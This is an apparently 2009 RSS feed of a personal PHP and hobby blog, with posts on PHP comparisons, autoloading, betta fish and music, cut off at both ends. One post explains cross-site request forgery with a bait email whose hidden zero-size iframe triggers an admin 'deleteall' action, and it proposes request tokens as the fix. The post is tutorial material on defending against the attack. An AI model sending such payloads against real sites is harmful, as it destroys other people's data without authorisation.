class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;"-1"&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;NULL&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;array()&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;"php"&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;""&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;      &lt;/tbody&gt;       &lt;/table&gt; &lt;p&gt;  &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-6531107312372955857?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/10/isset-va-empty.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>2</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-488682100179272454</guid><pubDate>Tue, 18 Aug 2009 04:59:00 +0000</pubDate><atom:updated>2009-08-18T12:02:07.763+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>sql injection</category><category domain='http://www.blogger.com/atom/ns#'>CSRF</category><category domain='http://www.blogger.com/atom/ns#'>xss</category><category domain='http://www.blogger.com/atom/ns#'>secure</category><category domain='http://www.blogger.com/atom/ns#'>php</category><title>PHP security video</title><description>&lt;p&gt;This Tutorial covers Cross Site Scripting (XSS), Cross Site Forgery Requests (CSFR), SQL Injection, globals, and much more!&lt;/p&gt;  &lt;object style="visibility: visible;" data="http://videos.code2design.com/themes/c2d/video/player.swf" id="myAlternativeContent" type="application/x-shockwave-flash" width="450" height="330"&gt;&lt;param value="true" name="allowfullscreen"&gt;&lt;param value="file=http://videos.code2design.com/themes/c2d/videos/php_security_800x600.mov&amp;amp;image=" name="flashvars"&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-488682100179272454?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/08/php-security-video.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-8302830981771755576</guid><pubDate>Thu, 13 Aug 2009 03:39:00 +0000</pubDate><atom:updated>2009-12-10T10:16:00.426+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>CSRF</category><category domain='http://www.blogger.com/atom/ns#'>secure</category><category domain='http://www.blogger.com/atom/ns#'>php</category><title>Basic Cross-site request forgery</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_OYXtKM3RM4c/SoUm0ifrCWI/AAAAAAAAANk/qXRSqYq1iFo/s1600-h/image.axd.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 329px; height: 252px;" src="http://1.bp.blogspot.com/_OYXtKM3RM4c/SoUm0ifrCWI/AAAAAAAAANk/qXRSqYq1iFo/s320/image.axd.png" alt="" id="BLOGGER_PHOTO_ID_5369740814763886946" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Now, I'm woking with a new framework. It's a new one, so that I think it's not secured.&lt;br /&gt;Assume that I'm a customer and after use this source code, if I find out any bug... what will happen if I want to be a '&lt;span style="color: rgb(153, 0, 0);"&gt;bad man&lt;/span&gt;' not '&lt;span style="color: rgb(255, 0, 0);"&gt;bat man&lt;/span&gt;' :))&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;After analyze I have an action in administrator panel.&lt;br /&gt;Example, when working with customer module:&lt;br /&gt;&lt;br /&gt;"http://our_local_server/administrator/index.php?module=loadajax&amp;amp;&lt;span style="font-weight: bold;"&gt;action=deleteall&lt;/span&gt;&amp;amp;&lt;span style="font-weight: bold;"&gt;table=user&lt;/span&gt;&amp;amp;fprimary=id&amp;amp;&lt;span style="font-weight: bold;"&gt;cond=0,%276%27&lt;/span&gt;&amp;amp;fname=etc"&lt;br /&gt;&lt;br /&gt;Consider the &lt;span style="font-weight: bold;"&gt;bold&lt;/span&gt; text :&lt;br /&gt;&lt;br /&gt;When I call this url, system will 'delete' all the item include in condition value %27 means ' label (0,'6'). The result is the item with id=6 will be deleted from database.&lt;br /&gt;&lt;br /&gt;Ok, now I compose an email html like :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;@body&gt;&lt;br /&gt;You won $1,000,000&lt;br /&gt;&lt;br /&gt;&lt;@iframe src="http://our_local_server/administrator/index.php?page=loadajax&amp;amp;action=deleteall&amp;amp;table=user&amp;amp;fprimary=id&amp;amp;cond=0,%276%27&amp;amp;fname=etc" width="0" height="0"&gt;&lt;br /&gt;&lt;@/body&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Will you read it???&lt;br /&gt;I wont. But it's only example ^^.&lt;br /&gt;Send it to the administrator of site when him/her logged in.&lt;br /&gt;I dont need to login or something else with this system.&lt;br /&gt;The administrator will do it for me because he/she have authiencation.&lt;br /&gt;Imagine if I call an url in a loop :&lt;br /&gt;&lt;blockquote&gt;for($i=0;$i&lt;=999999;++$i) {     //call the action url here }&lt;/blockquote&gt;&lt;br /&gt;What will happen :D&lt;br /&gt;&lt;br /&gt;Solution: Assign a token value for any action.&lt;br /&gt;Example:&lt;br /&gt;&lt;blockquote&gt;index.php?page=loadajax&amp;amp;action=deleteall&amp;amp;table=user&amp;amp;fprimary=id&amp;amp;cond=0,%276%27&amp;amp;fname=etc&amp;amp;&lt;span style="font-weight: bold;"&gt;token=10d3612ccee6f20d650288855624f9ad&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;And check this token before execute any action.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-8302830981771755576?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/08/basic-cross-site-request-forgery.html</link><author>noreply@blogger.com (canhnm)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_OYXtKM3RM4c/SoUm0ifrCWI/AAAAAAAAANk/qXRSqYq1iFo/s72-c/image.axd.png' height='72' width='72'/><thr:total>2</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-7572566338285854596</guid><pubDate>Tue, 11 Aug 2009 03:28:00 +0000</pubDate><atom:updated>2009-08-11T11:03:56.446+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Lazy Loading</category><category domain='http://www.blogger.com/atom/ns#'>php</category><title>Lazy Loading to improve performance of your php code</title><description>See above example code, or event you do like that :D :&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;require '/class/Database.php';&lt;br /&gt;require '/class/Common.php';&lt;br /&gt;require '/class/Action.php';&lt;br /&gt;require '/class/Template.php';&lt;br /&gt;require '/class/Module.php';&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;It's not good for server because php engine must load every file when execute, in case of it's not necessary.&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;    define('CLASS_DIR', 'class/')&lt;br /&gt;    set_include_path(get_include_path().PATH_SEPARATOR.CLASS_DIR);&lt;br /&gt;    spl_autoload_extensions('.class.php');&lt;br /&gt;    spl_autoload_register();&lt;br /&gt;    &lt;br /&gt;    function autoload($className)&lt;br /&gt;    {&lt;br /&gt; include_once($className);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;    $user = new user();&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;This message is quoted from "zend certification study guide" :"&gt;&lt;br /&gt;"By default, SPL uses its own autoloader, called spl_autoload(); this built-in&lt;br /&gt;function checks all include paths for ﬁlenames that match the name of the class&lt;br /&gt;that needs loading in lowercase letters, followed by .inc, .php, or the exten-&lt;br /&gt;sions speciﬁed using a comma-separated string as the only parameter to a call to&lt;br /&gt;spl_autoload_extensions()"&lt;br /&gt;&lt;br /&gt;Regard to function &lt;span style="font-weight: bold;"&gt;spl_autoload_extensions()&lt;/span&gt;, it allow you to define extension of filename.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-7572566338285854596?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/08/lazy-loading-to-improve-performance.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-5057324668620835075</guid><pubDate>Sat, 08 Aug 2009 09:54:00 +0000</pubDate><atom:updated>2009-08-08T16:55:10.118+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>betta</category><category domain='http://www.blogger.com/atom/ns#'>cá chọi</category><title>Betta</title><description>Nhớ hồi nhỏ, cách đây tầm 12 năm còn đang học cấp 2.&lt;br /&gt;Lúc đó trò chơi không nhiều như bây giờ, thú chơi mình thích nhất là chăm chút cho lũ betta.&lt;br /&gt;La liệt lọ chai trong nhà, rồi mỗi lần đi bắt trùn nước cho nó măm.&lt;br /&gt;Rồi đến khi ấp trứng, betta con như cái đầu kim, căng mắt mới thấy chúng.&lt;br /&gt;&lt;br /&gt;Hôm nay lượn ngoài đường đi qua hàng cá, tự dưng giật mình khi chợt nghĩ đến thú vui ngày xưa. Rẽ vào rước về 1 em dư lày :D&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://upload.wikimedia.org/wikipedia/commons/2/28/Betta_splendens_with_bubble_nest.jpg"&gt;&lt;img style="cursor: pointer; width: 500px;" src="http://upload.wikimedia.org/wikipedia/commons/2/28/Betta_splendens_with_bubble_nest.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Thằng ku của mình màu mè y hệt, chỉ có cái đuôi chưa dài bằng. Có gắng chăm em nó cho bộ đuôi dài được như này thì :X :X :X&lt;br /&gt;&lt;br /&gt;Được cái chọn lựa khá kĩ nên được em khá dạn người, thò tay vào trêu ẻm mà đếch có sợ, cứ ung dung đớp mồi còn tay chân gì nó mặc :|&lt;br /&gt;&lt;br /&gt;Hôm nào rảnh phải đi kiếm mấy em Zồng halfmoon mới được, nhìn yêu lắm rồi =p~&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.diendancacanh.com/pictures/bettagallery/dragonbetta104.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 500px;" src="http://www.diendancacanh.com/pictures/bettagallery/dragonbetta104.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.diendancacanh.com/pictures/bettagallery/dragonbetta108.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 500px;" src="http://www.diendancacanh.com/pictures/bettagallery/dragonbetta108.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.diendancacanh.com/pictures/bettagallery/dragonbetta110.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 500px;" src="http://www.diendancacanh.com/pictures/bettagallery/dragonbetta110.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nhưng mà loại này nuôi ngắm thôi chứ giờ không cho tụi nó oánh nhau như hồi xưa nữa, tiếc cái đuôi tụi nó lắm. Chăm đến bao giờ mới dài và mượt được vậy :(&lt;br /&gt;&lt;br /&gt;Để oánh nhau thì đi lượm mấy em copper, lavender với lại zồng... :D&lt;br /&gt;Đuôi ngắn, thân dày vạm vỡ, mồm miệng to dày, hơn nữa trông tướng nó gấu quá :|&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://upnhanh.sieuthinhanh.com/userimages/images/sieuthiNHANH2009042811718mtbhndkzog242429.jpeg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 500px;" src="http://upnhanh.sieuthinhanh.com/userimages/images/sieuthiNHANH2009042811718mtbhndkzog242429.jpeg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://upnhanh.sieuthinhanh.com/userimages/images/sieuthiNHANH2009060715723ngnhnzq0mt826425.jpeg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 500px;" src="http://upnhanh.sieuthinhanh.com/userimages/images/sieuthiNHANH2009060715723ngnhnzq0mt826425.jpeg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i170.photobucket.com/albums/u264/eternal198x/Ca/DSC00083.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 500px;" src="http://i170.photobucket.com/albums/u264/eternal198x/Ca/DSC00083.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i170.photobucket.com/albums/u264/eternal198x/Ca/DSC00115.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 500px;" src="http://i170.photobucket.com/albums/u264/eternal198x/Ca/DSC00115.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i170.photobucket.com/albums/u264/eternal198x/Ca/DSC00127.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 500px;" src="http://i170.photobucket.com/albums/u264/eternal198x/Ca/DSC00127.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i292.photobucket.com/albums/mm3/xungca/DSC07558.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 500px;" src="http://i292.photobucket.com/albums/mm3/xungca/DSC07558.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Demo phát fighting bọn này oánh tợn hơn cá của miền =))&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/uphuZo8VWEQ&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/uphuZo8VWEQ&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-5057324668620835075?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/08/betta.html</link><author>noreply@blogger.com (canhnm)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i170.photobucket.com/albums/u264/eternal198x/Ca/th_DSC00083.jpg' height='72' width='72'/><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-7130694363791878007</guid><pubDate>Mon, 03 Aug 2009 13:08:00 +0000</pubDate><atom:updated>2009-08-04T09:37:25.206+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>gun n' rose</category><category domain='http://www.blogger.com/atom/ns#'>rock</category><category domain='http://www.blogger.com/atom/ns#'>music</category><category domain='http://www.blogger.com/atom/ns#'>god father</category><category domain='http://www.blogger.com/atom/ns#'>slash</category><title>Solo o_0</title><description>Lâu lâu mới nghe lại GODFATHER anh Slash solo :x 0_o&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/SCplsXu1HRk&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/SCplsXu1HRk&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-7130694363791878007?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/08/solo-o0.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-8220088300996901783</guid><pubDate>Sun, 02 Aug 2009 08:59:00 +0000</pubDate><atom:updated>2009-08-02T16:01:07.056+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>rock</category><category domain='http://www.blogger.com/atom/ns#'>music</category><category domain='http://www.blogger.com/atom/ns#'>britney spear</category><category domain='http://www.blogger.com/atom/ns#'>metallica</category><title>Metallica feat Britney spear</title><description>Crazy : So what&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/40qKSWWjzT0&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/40qKSWWjzT0&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Khó đỡ quá =))&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-8220088300996901783?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/08/metallica-feat-britney-spear.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-3539156674097711025</guid><pubDate>Sat, 01 Aug 2009 10:52:00 +0000</pubDate><atom:updated>2009-08-05T10:17:48.871+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>kurt cobain</category><category domain='http://www.blogger.com/atom/ns#'>nirvana</category><category domain='http://www.blogger.com/atom/ns#'>music</category><category domain='http://www.blogger.com/atom/ns#'>Seasons In The Sun</category><title>Seasons In The Sun</title><description>Anh Kurt hét seasons in the sun có chỗ quên lyric =)) =))&lt;br 